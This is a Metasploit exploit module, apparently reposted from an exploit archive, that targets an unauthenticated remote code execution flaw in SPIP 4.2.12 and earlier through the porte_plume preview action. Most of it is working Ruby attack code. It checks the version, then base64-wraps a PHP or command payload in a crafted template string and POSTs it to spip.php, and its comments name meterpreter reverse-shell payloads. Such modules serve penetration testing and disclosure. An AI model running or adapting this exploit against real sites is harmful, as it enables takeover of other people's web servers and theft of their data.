SPIP 4.2.12 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Payload::Php  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SPIP Unauthenticated RCE via porte_plume Plugin',  
'Description' => %q{  
This module exploits a Remote Code Execution vulnerability in SPIP versions up to and including 4.2.12.  
The vulnerability occurs in SPIP’s templating system where it incorrectly handles user-supplied input,  
allowing an attacker to inject and execute arbitrary PHP code. This can be achieved by crafting a  
payload manipulating the templating data processed by the `echappe_retour()` function, invoking  
`traitements_previsu_php_modeles_eval()`, which contains an `eval()` call.  
},  
'Author' => [  
'Valentin Lobstein', # Metasploit module author  
'Laluka', # Vulnerability discovery  
'Julien Voisin' # Review  
],  
'License' => MSF_LICENSE,  
'References' => [  
['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html'],  
['URL', 'https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather']  
],  
'Platform' => ['php', 'unix', 'linux', 'win'],  
'Arch' => [ARCH_PHP, ARCH_CMD],  
'Targets' => [  
[  
'PHP In-Memory', {  
'Platform' => 'php',  
'Arch' => ARCH_PHP  
# tested with php/meterpreter/reverse_tcp  
}  
],  
[  
'Unix/Linux Command Shell', {  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD  
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp  
}  
],  
[  
'Windows Command Shell', {  
'Platform' => 'win',  
'Arch' => ARCH_CMD  
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp  
}  
]  
],  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => '2024-08-16',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
end  
  
def check  
uri = normalize_uri(target_uri.path, 'spip.php')  
res = send_request_cgi({ 'uri' => uri.to_s })  
  
return Exploit::CheckCode::Unknown('Target is unreachable.') unless res  
return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text  
return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/  
  
version = ::Regexp.last_match(1)  
  
if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/  
version = ::Regexp.last_match(1)  
end  
  
return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version  
  
print_status("SPIP Version detected: #{version}")  
  
if Rex::Version.new(version) > Rex::Version.new('4.2.12')  
return CheckCode::Safe("The detected SPIP version (#{version}) is not vulnerable.")  
end  
  
return CheckCode::Appears("The detected SPIP version (#{version}) is vulnerable.")  
end  
  
def php_exec_cmd(encoded_payload)  
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))  
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)  
shell = <<-END_OF_PHP_CODE  
#{php_preamble(disabled_varname: dis)}  
$c = base64_decode("#{encoded_clean_payload}");  
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}  
END_OF_PHP_CODE  
return shell  
end  
  
def exploit  
print_status('Preparing to send exploit payload to the target...')  
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)  
b64_payload = framework.encoders.create('php/base64').encode(phped_payload)  
payload = "[<img#{Rex::Text.rand_text_numeric(8)}>->URL`<?php #{b64_payload} ?>`]"  
  
print_status('Sending exploit payload to the target...')  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'spip.php'),  
'vars_get' => {  
'action' => 'porte_plume_previsu'  
},  
'data' => "data=#{payload}"  
})  
end  
  
end  
`